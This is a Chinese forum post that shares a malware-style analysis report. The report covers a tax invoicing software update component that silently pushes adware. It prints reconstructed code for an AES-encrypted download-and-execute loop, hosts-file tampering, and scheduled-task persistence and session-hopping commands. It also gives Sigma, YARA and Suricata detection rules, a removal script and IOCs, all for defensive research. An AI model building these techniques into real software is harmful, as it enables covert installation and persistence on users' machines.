社区应用 最新帖子 精华区 社区服务 会员列表 统计排行
  • 17阅读
  • 1回复

[分享]某税务软件供应链事件深度分析报告

楼层直达
z3960 
级别: FLY版主
发帖
877027
飞翔币
132599
威望
325957
飞扬币
4009076
信誉值
8



某税务软件供应链事件深度分析报告



——当"合法更新"成为推广通道:一次企业级软件滥用的技术解剖


分析日期:2026-04-14分析工具:IDA Pro, dnSpy威胁等级:🟡 中危(滥用合法通道,非传统恶意软件)



摘要


2026年4月,安全研究人员在对企业终端异常弹窗行为进行溯源分析时,发现xxxx旗下税务开票软件存在利用合法更新通道推送广告推广组件的行为。该行为通过多层嵌套架构、正版数字签名、备案域名及加密通信等手段,实现了在数万企业终端上的持久驻留与静默安装。
本报告从技术角度完整还原了该供应链推广链路的实现细节,分析其规避传统安全检测的技术手法,并为企业安全团队提供可落地的检测与清除方案。需要强调的是,本分析仅针对技术行为本身,不涉及对商业模式的法律或道德评判。


一、事件背景:企业刚需软件的双刃剑



1.1 xxx信息与税务开票软件


xxxxx股份有限公司(xxxx)是xxxxx控股的上市公司,其"xxxx"及配套开票软件是全国企业开具增值税发票的法定工具。由于税务合规的强制性,该软件具有以下特征:
  • 不可卸载:企业必须安装才能正常经营
  • 高权限运行:需访问系统底层资源以对接税控设备
  • 自动更新机制:确保政策变更时能快速适配
  • 正版数字签名:通过微软WHQL认证,被系统默认信任

这些"优势"在安全视角下,恰恰构成了攻击者梦寐以求的"完美载体"。

1.2 异常现象发现


多地企业用户反馈:
  • 电脑右下角定期弹出"xx通"等财税软件广告
  • EDR日志中检测到可疑外联下载行为
  • 任务管理器中出现未知.NET进程(WindowsQptAds.exe)
  • 防火墙日志显示向 i-tax.cn 子域名发送加密数据
  • hosts文件被自动修改,屏蔽规则失效

初步判断:某合法软件组件存在"越界"行为。


二、样本分析:三层架构的"俄罗斯套娃"


通过动态调试与静态逆向,我们还原了该推广体系的完整层级关系: 复制代码 隐藏代码┌─────────────────────────────────────┐│ 第一层:税务软件更新组件 (C++/PE)    ││ • 文件:Audiosrva2.exe               ││ • 签名:xxxxxxx正版数字签名          ││ • 作用:可信下载器 + C2通信中枢       │└─────────────┬───────────────────────┘              │ AES加密HTTP通信              ▼┌─────────────────────────────────────┐│ 第二层:WQAS.exe (NSIS安装包)        ││ • 作用:解压部署推广组件              ││ • 释放:WindowsQptAds.exe + 服务组件  │└─────────────┬───────────────────────┘              │ 会话跳转 + 持久化              ▼┌─────────────────────────────────────┐│ 第三层:推广执行层 (.NET WinForms)   ││ • WindowsQptAds.exe:弹窗+下载主体    ││ • WindowsServiceRunSelf.exe:Session 0绕过 ││ • 目标:静默安装"xxxx"(qdzs.exe)    │└─────────────────────────────────────┘

💡 关键洞察:每一层都使用合法技术(系统API、.NET框架),但组合后形成了"合法外壳+恶意行为"的灰色模式。



三、技术深度拆解



3.1 第一层:披着合法外衣的下载器



3.1.1 信任链利用

[tr=rgb(246, 248, 250)][td]备案域名
技术点实现方式规避效果
数字签名使用xxxx有效证书绕过SmartScreen、杀软签名校验
www.i-tax.cn 为工信部备案域名域名信誉检测失效


3.1.2 加密通信协议分析

复制代码 隐藏代码# 伪代码还原通信逻辑def c2_communication():    # 1. 读取配置    stop_net = read_config("STOP_NET")    if stop_net == "1": return    # 2. 构造请求    encrypted = aes_cbc_encrypt(plaintext, key="aisinotimeonisia", iv="aisinotimeonisia")    payload = base64_encode(encrypted)    # 3. 发送请求    response = http_post(        url="http://www.i-tax.cn/InterfaceForClient/getSomethingFromServer",        data=payload    )    # 4. 解析响应    decrypted = aes_cbc_decrypt(base64_decode(response), key="aisinotimeonisia")    urls = decrypted.split("@")  # 格式:"URL1@URL2@URL3"    # 5. 下载执行    for url in urls:        download_and_execute(url)

3.1.3 hosts文件劫持:确保"回家路"畅通


程序会主动修复用户对 i-tax.cn 的屏蔽: 复制代码 隐藏代码// sub_4081C0 关键逻辑void fix_hosts_file() {    string hosts_path = "%WINDIR%\system32\drivers\etc\hosts";    // 1. 去除只读属性    SetFileAttributesA(hosts_path.c_str(), FILE_ATTRIBUTE_NORMAL);    // 2. 逐行读取并注释掉包含 i-tax.cn 的行    for each line in hosts_file:        if (line.contains("i-tax.cn") && !line.starts_with("#")) {            line = "# " + line;  // 添加注释        }    // 3. 写入修改    write_file(hosts_path, modified_content);}

🔍 行为特征:这不是传统的恶意劫持,而是"反屏蔽"——确保推广通道始终可达。


3.2 第二层:智能弹窗引擎



3.2.1 四重持久化机制

复制代码 隐藏代码┌───────────────────────────────────────┐│ 持久化方式      │ 权限级别 │ 清除难度 │├───────────────────────────────────────┤│ HKCU Run       │ 当前用户 │ ★★☆    ││ HKLM Run       │ 系统全局 │ ★★★    ││ 启动目录快捷方式 │ 当前用户 │ ★★☆  ││ 计划任务+HIGHEST│ 系统最高 │ ★★★★ │└───────────────────────────────────────┘

3.2.2 弹窗触发逻辑(三重校验)

复制代码 隐藏代码// WindowsQptAds.exe 核心判断逻辑bool ShouldShowPopup() {    // 条件A:用户未选择"永不提示"    if (File.ReadAllText("confignr.wat") == "1")        return false;    // 条件B:本月未弹窗过    if (File.GetLastWriteTime("config.wat").Month == DateTime.Now.Month)        return false;    // 条件C:服务端允许推广    string response = GetCanRunFromUpdateServer(); // AES加密通信    if (!response.StartsWith("1"))        return false;    return true;  // 三者同时满足才弹窗}

3.2.3 静默安装技巧

  • 使用 /S 参数调用NSIS安装包,实现无感安装
  • 下载前校验文件哈希,确保完整性
  • 安装完成后自动启动目标程序,形成"推广-安装-激活"闭环


3.3 第三层:Session 0 会话绕过



3.3.1 为什么需要绕过?


Windows服务运行在Session 0,无法直接与用户桌面交互。为实现弹窗,攻击者采用计划任务跳转: 复制代码 隐藏代码服务进程 (Session 0)       │       ▼WTSEnumerateSessions() 枚举活跃会话       │       ▼获取当前登录用户名:"CORPzhang.san"       │       ▼schtasks /create /tn "SelfRestart_{GUID}"         /tr "C:\Program Files\SoftwareDownload\WindowsQptAds.exe"         /sc once /st "14:35" /ru "CORPzhang.san" /rl HIGHEST       │       ▼schtasks /run /tn "SelfRestart_{GUID}"  // 立即触发       │       ▼WindowsQptAds.exe 在用户桌面 (Session 1+) 运行 → 成功弹窗

3.3.2 自清理机制


为避免留下痕迹,程序会在2分钟后创建清理任务: 复制代码 隐藏代码schtasks /create /tn "SelfRestart_{GUID}_Cleaner" ^         /tr "schtasks /delete /tn SelfRestart_{GUID} /f" ^         /sc once /st "14:37" /ru "SYSTEM"

⚠️ 高级技巧:利用系统自身功能实现"用完即焚",极大增加溯源难度。



四、完整攻击链还原




时间线特征:
  • 默认40小时轮询间隔(可通过Config.txt动态调整)
  • 每月仅弹窗1次(避免用户反感)
  • 服务端可实时控制"开关",实现精准投放



五、影响评估与风险分级



5.1 直接影响

[tr=rgb(246, 248, 250)][td]用户体验[tr=rgb(246, 248, 250)][td]安全边界
影响维度具体表现严重程度
系统性能多进程驻留+定期弹窗🟡 中
强制推广、不可立即关闭🟡 中
隐私风险上报MAC地址、软件使用状态🟠 中高
修改hosts、创建高权限任务🔴 高
供应链信任合法签名被滥用🔴 高


5.2 潜在风险延伸

  1. 横向移动跳板:若C2服务器被攻击者控制,可下发任意载荷
  2. 权限提升利用:/rl HIGHEST 计划任务可能被用于提权攻击
  3. 数据泄露通道:加密通信通道可被复用传输敏感信息
  4. 防御体系失效:传统基于签名/信誉的检测完全绕过


5.3 受影响范围估算

  • 地域:全国使用xxxx开票软件的企业(预估数十万家)
  • 行业:全行业覆盖,尤以中小企业为主(IT安全投入有限)
  • 系统:Windows 7/10/11 x64(.NET Framework 4.0+环境)



六、检测与响应方案



6.1 EDR行为检测规则(YARA+Sigma混合)

复制代码 隐藏代码# Sigma规则:检测hosts文件异常修改title: Suspicious Hosts File Modification by Signed Binarystatus: experimentallogsource:  category: file_event  product: windowsdetection:  selection:    TargetFilename|endswith: 'system32driversetchosts'    Image|endswith:      - 'Audiosrva2.exe'    ModificationType: 'Overwrite'  condition: selectionlevel: high 复制代码 隐藏代码// YARA规则:检测AES密钥特征rule Aisino_Promotion_AES_Key {    meta:        description = "Detect hardcoded AES key 'aisinotimeonisia'"        author = "Security Research Team"        date = "2026-04-14"    strings:        $aes_key = "aisinotimeonisia" ascii wide        $c2_domain = "www.i-tax.cn" ascii        $api_path = "/InterfaceForClient/getSomethingFromServer" ascii    condition:        2 of them}

6.2 网络层检测建议

[tr=rgb(246, 248, 250)][td]下载行为
检测点规则示例(Suricata)说明
C2通信alert http any any -> any any (msg:"Aisino C2 POST"; flow:to_server,established; http.method:"POST"; http.uri:"/InterfaceForClient/getSomethingFromServer"; content:"aisinotimeonisia"; fast_pattern; sid:1000001;)检测加密请求特征
alert http any any -> any any (msg:"Suspicious EXE Download from i-tax.cn"; flow:to_client; http.host:"download.i-tax.cn"; http.uri:/.exe$/; sid:1000002;)监控可执行文件下载
数据上报alert tls any any -> any any (msg:"Qpt Client Gateway Report"; tls.sni:"qpt.i-tax.cn"; sid:1000003;)监控MAC地址上报


6.3 手动清除步骤(管理员权限)

复制代码 隐藏代码# 1. 终止相关进程Stop-Process -Name "WindowsQptAds", "WindowsServiceRunSelf", "qdzs" -Force -ErrorAction SilentlyContinue# 2. 删除计划任务Get-ScheduledTask | Where-Object {$_.TaskName -like "*QptAd*" -or $_.TaskName -like "SelfRestart_*"} | Unregister-ScheduledTask -Confirm:$false# 3. 清理注册表自启动$paths = "HKCU:SOFTWAREMicrosoftWindowsCurrentVersionRun",         "HKLM:SOFTWAREMicrosoftWindowsCurrentVersionRun"foreach ($path in $paths) {    if (Test-Path "$pathWindowsQptAds") {        Remove-ItemProperty -Path $path -Name "WindowsQptAds" -Force    }}# 4. 删除启动目录快捷方式$shortcut = "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupWindowsQptAds.lnk"if (Test-Path $shortcut) { Remove-Item $shortcut -Force }# 5. 恢复hosts文件$hosts = "$env:windirSystem32driversetchosts"$content = Get-Content $hosts | Where-Object { $_ -notmatch '^#s*.*i-tax.cn' }$content | Set-Content $hosts -Force# 可选:重新添加用户自定义屏蔽规则"# Blocked by admin" | Add-Content $hosts"127.0.0.1 www.i-tax.cn" | Add-Content $hosts# 6. 清理残留文件$dirs = "C:Program FilesSoftwareDownload",        "$env:LOCALAPPDATATempWQAS_*"foreach ($dir in $dirs) {    if (Test-Path $dir) { Remove-Item $dir -Recurse -Force -ErrorAction SilentlyContinue }}# 7. 验证清除结果Write-Host " 清理完成,建议重启系统并监控72小时" -ForegroundColor Green


七、行业思考:合法软件的边界在哪里?



7.1 技术中立性与责任归属


本事件暴露出一个深层矛盾:

当"合法技术"被用于"灰色目的",安全团队该如何应对?
  • 数字签名本是信任基石,却成为恶意行为的"免死金牌"
  • 自动更新本是运维刚需,却沦为静默安装的通道
  • 系统API本是开发工具,却被组合成持久化武器


7.2 企业软件供应链安全新挑战

[tr=rgb(246, 248, 250)][td]钓鱼攻击[tr=rgb(246, 248, 250)][td]横向移动
传统威胁本事件特征防御难点
恶意软件合法软件滥用签名校验失效
官方域名推送域名信誉失效
漏洞利用无漏洞纯逻辑补丁管理无效
单点突破即全域边界防御失效


7.3 给企业的务实建议

  1. 最小权限原则:即使对"可信软件",也应限制其系统修改权限
  2. 行为基线监控:建立正常软件行为画像,检测异常操作序列
  3. 网络分段隔离:将财务/税务终端与其他业务网络逻辑隔离
  4. 供应商安全评估:将"软件行为透明度"纳入采购评估指标
  5. 员工安全意识:培训识别"合法弹窗"与"恶意诱导"的差异



八、附录:完整IOC列表(可直接导入安全设备)



域名/IP(建议监控+选择性阻断)

复制代码 隐藏代码# C2通信58.218.215.70www.i-tax.cndownload.i-tax.cnqpt.i-tax.cn# 注意:直接阻断可能影响正常开票业务,建议先监控分析

文件哈希(样本识别)

复制代码 隐藏代码# WQAS.exe (NSIS installer)SHA256: b455fc37e0ab4b1f5c86906d1ce78c3090e850706a3d3b29bc668b249e30f06f# WindowsQptAds.exeSHA256: 6fcbaec72306b76092c5efd1dbdb66d9a5fe7cddee5673aed850f722e1f86674# WindowsServiceRunSelf.exeSHA256: 6d553c9ec535b0a84753671b35594181e4b1c4ea27bba273fcde45b505558fcb# qdzs.exeSHA256: e7b278ab72caa1472486639d1a65ce47d5062e0157f31d1d2a13e45ade6c5885

注册表/计划任务/文件路径

复制代码 隐藏代码# 注册表键HKLMSOFTWAREMicrosoftWindowsCurrentVersionApp PathsAudiosrva2.exeHKCUSOFTWAREMicrosoftWindowsCurrentVersionRunWindowsQptAdsHKLMSOFTWAREMicrosoftWindowsCurrentVersionRunWindowsQptAds# 计划任务名称WindowsQptAdServiceSelfRestart_{GUID}SelfRestart_{GUID}_Cleaner# 关键文件路径C:Program FilesSoftwareDownload%APPDATA%MicrosoftWindowsStart MenuProgramsStartupWindowsQptAds.lnk%WINDIR%system32driversetchosts

网络通信特征

复制代码 隐藏代码# HTTP请求POST /InterfaceForClient/getSomethingFromServer HTTP/1.1Host: www.i-tax.cnContent-Type: application/octet-stream# TLS SNIqpt.i-tax.cn# 用户代理(部分样本)User-Agent: AisinoUpdateClient/2.1


结语


本次分析揭示了一个值得行业深思的现象:在数字化转型与合规驱动的双重压力下,企业刚需软件可能成为"灰色推广"的载体。作为安全从业者,我们既要保持技术敏锐度,及时识别新型威胁;也要秉持客观立场,基于事实而非情绪做出判断。

📌 核心建议:对于此类"合法外壳+灰色行为"的事件,行为检测 > 特征匹配,纵深防御 > 单点拦截,持续监控 > 一次性清除。

企业安全团队应以此为契机,重新审视"可信软件"的管理策略,将软件行为审计纳入日常运营,构建更适应新型供应链风险的防御体系。

免责声明:本报告仅用于安全技术研究与交流,所有分析基于公开样本与逆向工程,不涉及商业诋毁。如发现报告内容有误,欢迎通过正规渠道反馈。
作者:神奇的人鱼 | 最后更新:2026-04-14
本帖最近评分记录: 1 条评分 飞扬币 +50
爱我中华 飞扬币 +50 2小时前 社区因为有您的参与更精彩!
关键词: 软件
我不喜欢说话却每天说最多的话,我不喜欢笑却总笑个不停,身边的每个人都说我的生活好快乐,于是我也就认为自己真的快乐。可是为什么我会在一大群朋友中突然地就沉默,为什么在人群中看到个相似的背影就难过,看见秋天树木疯狂地掉叶子我就忘记了说话,看见天色渐晚路上暖黄色的灯火就忘记了自己原来的方向。
级别: FLY版主
发帖
696149
飞翔币
237566
威望
4141
飞扬币
3468961
信誉值
0

只看该作者 1 发表于: 2小时前
谢谢分享